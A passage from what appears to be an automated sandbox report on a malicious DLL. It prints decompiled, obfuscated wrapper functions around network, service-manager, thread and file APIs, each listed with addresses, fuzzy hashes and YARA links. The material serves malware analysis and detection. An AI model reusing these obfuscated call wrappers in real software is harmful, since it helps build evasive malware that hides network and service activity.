				_v16 = _v16 ^ 0x0bb1ffda;
				_v20 = 0xe250b7;
				_v20 = _v20 + 0x5ac1;
				_v20 = _v20 ^ 0x00e77628;
				_v12 = 0x83b693;
				_v12 = _v12 << 3;
				_v12 = _v12 + 0x955d;
				_v12 = _v12 ^ 0x8c9321f4;
				_v12 = _v12 ^ 0x888d5a3f;
				_v8 = 0x25cc98;
				_v8 = _v8 << 8;
				_v8 = _v8 + 0xffff470f;
				_t71 = 0x65;
				_v8 = _v8 / _t71;
				_v8 = _v8 ^ 0x005fbdc2;
				E10002309(0x23a, _t71, _t71, 0x6c1516bf, _t71, 0xc0cf1a4);
				_t68 = HttpSendRequestW(_t77, _a20, 0xffffffff, _a24, _a4); // executed
				return _t68;
			}

0x1000a2fd
0x1000a300
0x1000a302
0x1000a305
0x1000a308
0x1000a30b
0x1000a30e
0x1000a311
0x1000a314
0x1000a317
0x1000a319
0x1000a31a
0x1000a31f
0x1000a329
0x1000a331
0x1000a332
0x1000a335
0x1000a33c
0x1000a341
0x1000a348
0x1000a34f
0x1000a356
0x1000a35d
0x1000a364
0x1000a36b
0x1000a36f
0x1000a376
0x1000a37d
0x1000a384
0x1000a38b
0x1000a38f
0x1000a399
0x1000a3a1
0x1000a3a4
0x1000a3c4
0x1000a3d8
0x1000a3de

APIs

HttpSendRequestW.WININET(?,?,000000FF,?,888D5A3F), ref: 1000A3D8

Strings

!yq, xrefs: 1000A329
(v, xrefs: 1000A3B1

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: HttpRequestSend
String ID: !yq$(v
API String ID: 360639707-3714639124
Opcode ID: addb5013f94a99016a3b09dce2f41e92007ac2e92673f5d027e4f6d8b052833b
Instruction ID: 4d92403f62dcc6bb3e46ef547b0ec63a90eaedf35ffa846ea193ceacaa265e86
Opcode Fuzzy Hash: addb5013f94a99016a3b09dce2f41e92007ac2e92673f5d027e4f6d8b052833b
Instruction Fuzzy Hash: BF211472D01209BBDF05CFE8CC468DEBBB1FB44314F108288E924A6290D7B55A249F41

Uniqueness

Uniqueness Score: -1.00%

Function 1000BEDE, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNEL32(007CD4C5,00000000,00000000,31305EC1), ref: 1000BFB0

Strings

=., xrefs: 1000BF6D
^.c, xrefs: 1000BF25

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FullImageNameProcessQuery
String ID: =.$^.c
API String ID: 3578328331-3776521896
Opcode ID: 07ae75dd8ddba432c77965de32a51c1b19153ce4c2545f6c391e89c1662625bf
Instruction ID: 7275a9ed560c09780dabca557c474df7feafaa640da0da3fdedc6977ea339cbe
Opcode Fuzzy Hash: 07ae75dd8ddba432c77965de32a51c1b19153ce4c2545f6c391e89c1662625bf
Instruction Fuzzy Hash: 40213475C00209FBDF18CFA4C84AAEEBFB1FB40704F208588E91476250D3B19B619F90

Uniqueness

Uniqueness Score: -1.00%

Function 1000FBFA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FBFA(void* __ecx, void* __edx, intOrPtr _a4, void* _a8) {
				unsigned int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t48;
				int _t57;
				signed int _t59;

				_push(_a8);
				_push(_a4);
				E10022523(_t48);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0x49672e;
				_v32 = 0xb6dd69;
				_v16 = 0x714492;
				_v16 = _v16 >> 4;
				_v16 = _v16 + 0x8cae;
				_v16 = _v16 + 0xf12f;
				_v16 = _v16 ^ 0x0001c43a;
				_v20 = 0xe1aff5;
				_v20 = _v20 + 0x563d;
				_v20 = _v20 ^ 0x00ec4f92;
				_v12 = 0xff415;
				_v12 = _v12 + 0x39cf;
				_v12 = _v12 | 0x79f6ff5d;
				_v12 = _v12 ^ 0x79f7d296;
				_v8 = 0xdebe32;
				_t59 = 0x1e;
				_v8 = _v8 / _t59;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 ^ 0x0002d9b6;
				E10002309(0x336, _t59, _t59, 0xd09d8658, _t59, 0x9c9047d0);
				_t57 = FindClose(_a8); // executed
				return _t57;
			}

0x1000fc00
0x1000fc03
0x1000fc08
0x1000fc0d
0x1000fc14
0x1000fc1a
0x1000fc21
0x1000fc28
0x1000fc2f
0x1000fc33
0x1000fc3a
0x1000fc41
0x1000fc48
0x1000fc4f
0x1000fc56
0x1000fc5d
0x1000fc64
0x1000fc6b
0x1000fc72
0x1000fc79
0x1000fc85
0x1000fc8d
0x1000fc90
0x1000fc94
0x1000fc98
0x1000fcb8
0x1000fcc3
0x1000fcc8

APIs

FindClose.KERNEL32(0001C43A), ref: 1000FCC3

Strings

=V, xrefs: 1000FC4F
.gI, xrefs: 1000FC1A

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CloseFind
String ID: .gI$=V
API String ID: 1863332320-2530093900
Opcode ID: 110af252eeec9babbf3e3997d431909c73a56f909e67471b0c3fb51db6a30985
Instruction ID: 13a99136c5b08d47dc1f4c8c5ed125b3ab52959e5c24daba2c8c9d4d8457441f
Opcode Fuzzy Hash: 110af252eeec9babbf3e3997d431909c73a56f909e67471b0c3fb51db6a30985
Instruction Fuzzy Hash: 8B2133B5D0020CEFEB04CFD5D94AAEEBBB0FB54318F10C199E52466240E3B95B589F90

Uniqueness

Uniqueness Score: -1.00%

Function 1001E9E8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
fileCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E1001E9E8(void* __ecx, void* __edx, struct _WIN32_FIND_DATAW* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t39;
				int _t47;
				void* _t51;

				_push(_a16);
				_t51 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E10022523(_t39);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x7dd1c2;
				_v20 = 0xe6ed41;
				_v20 = _v20 ^ 0x6eedbecd;
				_v20 = _v20 * 0x45;
				_v20 = _v20 ^ 0xa90eba26;
				_v16 = 0x25fde1;
				_v16 = _v16 + 0xffffc5d1;
				_v16 = _v16 | 0x325ad611;
				_v16 = _v16 ^ 0x3277e624;
				_v8 = 0x448e1b;
				_v8 = _v8 | 0xd7f3ffef;
				_v8 = _v8 ^ 0xcff08007;
				_v8 = _v8 ^ 0x180d74c6;
				_v12 = 0x3a9cbc;
				_v12 = _v12 | 0xfe729dd7;
				_v12 = _v12 ^ 0xfe7a3202;
				E10002309(0x2de, __ecx, __ecx, 0xa7d3fbc8, __ecx, 0x9c9047d0);
				_t47 = FindNextFileW(_t51, _a4); // executed
				return _t47;
			}

0x1001e9ef
0x1001e9f2
0x1001e9f4
0x1001e9f7
0x1001e9fa
0x1001e9fe
0x1001e9ff
0x1001ea04
0x1001ea0b
0x1001ea12
0x1001ea19
0x1001ea30
0x1001ea33
0x1001ea3a
0x1001ea41
0x1001ea48
0x1001ea4f
0x1001ea56
0x1001ea5d
0x1001ea64
0x1001ea6b
0x1001ea72
0x1001ea79
0x1001ea80
0x1001ea99
0x1001eaa5
0x1001eaab

APIs

FindNextFileW.KERNELBASE(00000000,FE7A3202,?,?,?,?,?,?,?,?,?,?,00000072), ref: 1001EAA5

Strings

A, xrefs: 1001EA12
$w2, xrefs: 1001EA4F

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileFindNext
String ID: $w2$A
API String ID: 2029273394-2068021171
Opcode ID: 489ae82eb01001db2e27a8813198e8620566e78ec9ea4fd3dbf43d66dbc97652
Instruction ID: dada94e113a69792e10164e03f2a25d9c6497d738665c24ecae0a8d857d7b4ee
Opcode Fuzzy Hash: 489ae82eb01001db2e27a8813198e8620566e78ec9ea4fd3dbf43d66dbc97652
Instruction Fuzzy Hash: 75110DB5C0121DABCF05DFE8DA068AEBFB4FB00300F108589E915A6260E3B55B209FA5

Uniqueness

Uniqueness Score: -1.00%

Function 10008A5E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
networkCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E10008A5E(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a24, WCHAR* _a36, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, WCHAR* _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				WCHAR* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t45;
				void* _t52;
				void* _t57;

				_push(_a56);
				_t57 = __edx;
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(0);
				_push(_a36);
				_push(0);
				_push(0);
				_push(_a24);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t45);
				_v32 = 0xd5d112;
				_v28 = 0x50513d;
				_v24 = 0;
				_v12 = 0x46c43;
				_v12 = _v12 + 0xffffdfef;
				_v12 = _v12 | 0x9d8b3e1d;
				_v12 = _v12 ^ 0x9d8347af;
				_v20 = 0x816eb9;
				_v20 = _v20 + 0xffff29e2;
				_v20 = _v20 ^ 0x0080c9d8;
				_v8 = 0x807982;
				_v8 = _v8 | 0x5015719e;
				_v8 = _v8 ^ 0xfbfa9e2f;
				_v8 = _v8 ^ 0xab6f9dce;
				_v16 = 0xec1576;
				_v16 = _v16 >> 0xb;
				_v16 = _v16 ^ 0x000e8763;
				E10002309(0x18c, __ecx, __ecx, 0xb50c381d, __ecx, 0xc0cf1a4);
				_t52 = HttpOpenRequestW(_t57, _a36, _a56, 0, 0, 0, _a24, 0); // executed
				return _t52;
			}

0x10008a66
0x10008a6b
0x10008a6d
0x10008a70
0x10008a73
0x10008a76
0x10008a77
0x10008a7a
0x10008a7b
0x10008a7c
0x10008a7f
0x10008a80
0x10008a83
0x10008a86
0x10008a89
0x10008a8c
0x10008a8d
0x10008a8e
0x10008a93
0x10008a9d
0x10008aa4
0x10008aa7
0x10008aae
0x10008ab5
0x10008abc
0x10008ac3
0x10008aca
0x10008ad1
0x10008ad8
0x10008adf
0x10008ae6
0x10008aed
0x10008af4
0x10008afb
0x10008aff
0x10008b24
0x10008b3a
0x10008b41

APIs

HttpOpenRequestW.WININET(?,?,?,00000000,00000000,00000000,00D5D112,00000000), ref: 10008B3A

Strings

=QP, xrefs: 10008A9D

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: HttpOpenRequest
String ID: =QP
API String ID: 1984915467-456757808
Opcode ID: 4cc3d4786cdcc23149290c3469cd4bf7c683ba33055c948049ab044fbc38bf75
Instruction ID: e3fac8015c3a145f5e17db1b8b22e466714549d15e7afe1ebd96c96d83fff2fb
Opcode Fuzzy Hash: 4cc3d4786cdcc23149290c3469cd4bf7c683ba33055c948049ab044fbc38bf75
Instruction Fuzzy Hash: E321F0B2801208BB8F559F95CC4ACDFBF79EF85700F108148B914A6221D3B18A65DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 100142E4, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E100142E4(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				long _v24;
				long _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t43;
				char _t54;
				signed int _t57;
				void* _t62;
				void* _t63;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_t63 = __ecx;
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v36 = 0xead706;
				_v32 = 0x8aaadf;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x3b6f9b;
				_t57 = 0x3f;
				_v12 = _v12 * 0xe;
				_v12 = _v12 << 0x10;
				_v12 = _v12 ^ 0x1a7fe3f0;
				_v20 = 0x6318b1;
				_v20 = _v20 | 0x2b2fc1f2;
				_v20 = _v20 ^ 0x2b6f417a;
				_v8 = 0xeb56a2;
				_v8 = _v8 << 1;
				_v8 = _v8 / _t57;
				_v8 = _v8 * 0x2f;
				_v8 = _v8 ^ 0x015d5ff9;
				_v16 = 0x2619ef;
				_v16 = _v16 << 6;
				_v16 = _v16 ^ 0x098e35d6;
				E10002309(_t57 + 0x4d, _t57, _t57, 0x52f9059f, _t57, 0x9c9047d0);
				_t54 = RtlFreeHeap(_t62, 0, _t63); // executed
				return _t54;
			}

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,072B1AC5,00000000,00000000), ref: 100143AA

Strings

zAo+, xrefs: 10014350

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID: zAo+
API String ID: 3298025750-440923707
Opcode ID: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction ID: 613f1e34ca62f437a9a883da1f6942e021cbcbe0c1bd7b5908013fed4c35e44f
Opcode Fuzzy Hash: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction Fuzzy Hash: 4D2128B1D00218FF9B08CF99D98A8EEBFB9FB44344F508199E515A7240D3B05B149B90

Uniqueness

Uniqueness Score: -1.00%

Function 1000F2CC, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
networkCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E1000F2CC(void* __edx, intOrPtr _a4, intOrPtr _a8, long _a12, intOrPtr _a32) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				intOrPtr _v28;
				void* __ecx;
				void* _t36;
				void* _t44;
				void* _t46;

				_push(_a32);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t36);
				_v28 = 0x481ca4;
				_v24 = 0;
				_v20 = 0xca1952;
				_v20 = _v20 ^ 0x1684c8f8;
				_v20 = _v20 ^ 0x16482d99;
				_v12 = 0xc193bc;
				_v12 = _v12 ^ 0x27e4a297;
				_v12 = _v12 | 0xa7673761;
				_v12 = _v12 ^ 0xa76f04da;
				_v8 = 0xc5b902;
				_push(0xc0cf1a4);
				_push(_t45);
				_push(0xb325898b);
				_push(_t45);
				_v8 = _v8 * 0x4e;
				_v8 = _v8 >> 4;
				_v8 = _v8 ^ 0x03c56f69;
				_v16 = 0x24ec4f;
				_v16 = _v16 + 0xffffc13d;
				_v16 = _v16 ^ 0x002fbbc3;
				_push(_t45);
				_t46 = 0x50;
				E10002309(_t46);
				_t44 = InternetOpenW(0, _a12, 0, 0, 0); // executed
				return _t44;
			}

0x1000f2d3
0x1000f2d8
0x1000f2d9
0x1000f2da
0x1000f2db
0x1000f2dc
0x1000f2df
0x1000f2e2
0x1000f2e7
0x1000f2ec
0x1000f2f6
0x1000f2f9
0x1000f300
0x1000f307
0x1000f30e
0x1000f315
0x1000f31c
0x1000f323
0x1000f32a
0x1000f335
0x1000f33a
0x1000f33b
0x1000f340
0x1000f341
0x1000f344
0x1000f348
0x1000f34f
0x1000f356
0x1000f35d
0x1000f370
0x1000f373
0x1000f374
0x1000f383
0x1000f389

APIs

InternetOpenW.WININET(00000000,16482D99,00000000,00000000,00000000), ref: 1000F383

Strings

O$, xrefs: 1000F34F

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: InternetOpen
String ID: O$
API String ID: 2038078732-838329570
Opcode ID: bfd598ea9fc20005dd18c51756325e876dca57c81b5a8b40325e3a3f8c113345
Instruction ID: 8289a683938989030ca0da7dfac6b892ab059c1ea5f0d65067220e4f4b31d72f
Opcode Fuzzy Hash: bfd598ea9fc20005dd18c51756325e876dca57c81b5a8b40325e3a3f8c113345
Instruction Fuzzy Hash: FA1113B1C0122DBB9B15DFA58C4A8DFBFB8EF05654F108589F814A6110C3B15A54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000E0A2, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 1000E168

Strings

|p, xrefs: 1000E0FA

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: InfoNativeSystem
String ID: |p
API String ID: 1721193555-2455131449
Opcode ID: 1373000f67fd09352ab480020baae7fa00b59f1f2ab89e5c019d1be64afd4c0b
Instruction ID: 87fad81da9970c7bb3d4b7ae9dd0f5802466cf3bbb0c04d9c31e1761e8e9e04e
Opcode Fuzzy Hash: 1373000f67fd09352ab480020baae7fa00b59f1f2ab89e5c019d1be64afd4c0b
Instruction Fuzzy Hash: 662138B6D00318FFDB48CFA4C8468EEBBB4FB44310F108599E41566291D3B85B50CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1001FE9D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001FE9D(void* __edx, intOrPtr _a4, intOrPtr _a8, int _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t34;
				void* _t41;
				void* _t43;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t34);
				_v32 = 0xfebeef;
				_v28 = 0x6b4d4f;
				_v24 = 0;
				_v20 = 0x72d4d3;
				_v20 = _v20 + 0x7ce2;
				_v20 = _v20 ^ 0x0072d8bc;
				_v16 = 0x618a6;
				_v16 = _v16 + 0x2ac;
				_v16 = _v16 ^ 0x00083b16;
				_v12 = 0x17740f;
				_v12 = _v12 + 0x9d82;
				_v12 = _v12 ^ 0x0012bdfc;
				_v8 = 0xba692b;
				_v8 = _v8 ^ 0x31422697;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 ^ 0x0005552e;
				_push(0x21ce39be);
				_push(0xb53dc03);
				_push(_t42);
				_push(_t42);
				_t43 = 0x15;
				E10002309(_t43);
				_t41 = OpenSCManagerW(0, 0, _a16); // executed
				return _t41;
			}

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,10015191,?,?,?,?,?,?,?,?,?,?,0EB411AB), ref: 1001FF4C

Strings

OMk, xrefs: 1001FEC1

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ManagerOpen
String ID: OMk
API String ID: 1889721586-456170103
Opcode ID: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction ID: 1d80d5bf462f7d76a803e315767f53b854081a7213ef634c08bc69ad92fa0287
Opcode Fuzzy Hash: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction Fuzzy Hash: 6D1113B2C0022CBBEB11DFA5D94A8EFBFB4EF44318F108188E91466201D3B95B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 1001199D, Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001199D(void* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28, long _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t55;
				void* _t68;
				signed int _t69;
				signed int _t70;

				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t55);
				_v12 = 0xd4f63c;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0xf;
				_v12 = _v12 + 0xffffff46;
				_v12 = _v12 ^ 0xd4fb5fe8;
				_v8 = 0x967d18;
				_v8 = _v8 + 0xffffef98;
				_t69 = 0x14;
				_v8 = _v8 / _t69;
				_t70 = 0x4a;
				_v8 = _v8 / _t70;
				_v8 = _v8 ^ 0x000a0722;
				_v20 = 0x4653bc;
				_v20 = _v20 * 0x70;
				_v20 = _v20 ^ 0x1ec2604c;
				_v16 = 0x7577a9;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x1b87e59a;
				E10002309(0x10a, _t70, _t70, 0xb484d458, _t70, 0x9c9047d0);
				_t68 = CreateFileW(_a4, _a24, _a28, 0, _a32, _a20, 0); // executed
				return _t68;
			}

APIs

CreateFileW.KERNEL32(?,?,?,00000000,?,?,00000000), ref: 10011A79

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction ID: 4460bfc2ec69cb6a9c9d4ae8ab6b4977e7447a0d843199ae8caee7af6f2384ce
Opcode Fuzzy Hash: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction Fuzzy Hash: E021E27280021DFBDF05CF95D8498DEBFB6EF49354F108188F91466260D3B69A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 100230FB, Relevance: 1.6, APIs: 1, Instructions: 70
networkCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E100230FB(WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, long _a16, intOrPtr _a20, void* _a24, intOrPtr _a32, intOrPtr _a36, signed int _a40, intOrPtr _a48) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t57;
				signed int _t58;
				short _t63;

				_t63 = _a40;
				_push(_a48);
				_push(0);
				_push(_t63 & 0x0000ffff);
				_push(_a36);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(0);
				E10022523(_t63 & 0x0000ffff);
				_a40 = 0x441dde;
				_a40 = _a40 | 0xef6c71fd;
				_a40 = _a40 + 0xffff46ca;
				_a40 = _a40 ^ 0xef65f1b7;
				_v16 = 0x4e992b;
				_v16 = _v16 << 0xe;
				_v16 = _v16 ^ 0xa64ff1a5;
				_v12 = 0xdc7938;
				_t58 = 0x71;
				_v12 = _v12 / _t58;
				_v12 = _v12 << 5;
				_v12 = _v12 ^ 0x00369a6d;
				_v8 = 0xc2c26;
				_v8 = _v8 << 7;
				_v8 = _v8 << 3;
				_v8 = _v8 ^ 0x30b97202;
				E10002309(0x185, _t58, _t58, 0x3cfe7f69, _t58, 0xc0cf1a4);
				_t57 = InternetConnectW(_a24, _a4, _t63, 0, 0, _a16, 0, 0); // executed
				return _t57;
			}

0x10023102
0x10023106
0x1002310e
0x1002310f
0x10023110
0x10023113
0x10023116
0x10023117
0x1002311a
0x1002311d
0x10023120
0x10023123
0x10023126
0x10023129
0x1002312a
0x1002312b
0x10023130
0x1002313a
0x10023143
0x1002314a
0x10023151
0x10023158
0x1002315c
0x10023163
0x1002316f
0x10023177
0x1002317a
0x1002317e
0x10023185
0x1002318c
0x10023190
0x10023194
0x100231b4
0x100231ca
0x100231d1

APIs

InternetConnectW.WININET(?,00369A6D,?,00000000,00000000,?,00000000,00000000), ref: 100231CA

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: a94079c84f44fd79cf2d8e21410448fccbf556cf6765277f06ac4260a9b0b9f5
Instruction ID: e8187c32b4ec5569a964266e9532cb42533e4eb402820abbfec73acb79da3654
Opcode Fuzzy Hash: a94079c84f44fd79cf2d8e21410448fccbf556cf6765277f06ac4260a9b0b9f5
Instruction Fuzzy Hash: 28212876900248BBDF01CFA6DC49CDFBFB9EB89B14F118149F92466220C7759A60DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100138CA, Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E100138CA(void* __ecx, intOrPtr _a8, _Unknown_base(*)()* _a12, void* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a32, intOrPtr _a40) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t44;
				void* _t54;
				signed int _t56;

				_push(_a40);
				_push(0);
				_push(_a32);
				_push(0);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(0);
				E10022523(_t44);
				_v8 = 0x81d8e3;
				_v8 = _v8 | 0x29cc6377;
				_t56 = 0x4e;
				_v8 = _v8 / _t56;
				_v8 = _v8 + 0xffff28cb;
				_v8 = _v8 ^ 0x008a8115;
				_v20 = 0x37a592;
				_v20 = _v20 | 0x4431b854;
				_v20 = _v20 ^ 0x44318d0b;
				_v16 = 0x83d7ad;
				_v16 = _v16 | 0x0c5d9c08;
				_v16 = _v16 ^ 0x0cde7e94;
				_v12 = 0xac61ec;
				_v12 = _v12 + 0xffff443d;
				_v12 = _v12 * 0x13;
				_v12 = _v12 ^ 0x0cbd13a0;
				E10002309(0x347, _t56, _t56, 0x49f4d21, _t56, 0x9c9047d0);
				_t54 = CreateThread(0, 0, _a12, _a16, 0, 0); // executed
				return _t54;
			}

0x100138d1
0x100138d6
0x100138d7
0x100138da
0x100138db
0x100138de
0x100138e1
0x100138e4
0x100138e7
0x100138ea
0x100138eb
0x100138ed
0x100138f2
0x100138fc
0x1001390a
0x10013912
0x10013915
0x1001391c
0x10013923
0x1001392a
0x10013931
0x10013938
0x1001393f
0x10013946
0x1001394d
0x10013954
0x10013967
0x1001396f
0x10013982
0x10013994
0x1001399a

APIs

CreateThread.KERNEL32(00000000,00000000,44318D0B,?,00000000,00000000), ref: 10013994

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4ee66b657200ea8511f1b49f91465a58aa226465ce330f2d495d8e9b8aa70771
Instruction ID: 5a6dbe2e242c64283d159b8d6af8574c24e4c451ce92a937a7e8d2536125472d
Opcode Fuzzy Hash: 4ee66b657200ea8511f1b49f91465a58aa226465ce330f2d495d8e9b8aa70771
Instruction Fuzzy Hash: 6921E275801219BBCF15CFE9DD4A8DFBFB9FF09214F108188F918A6120D3B19A249FA0

Uniqueness

Uniqueness Score: -1.00%

Function 10002985, Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E10002985(long __ecx, long __edx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
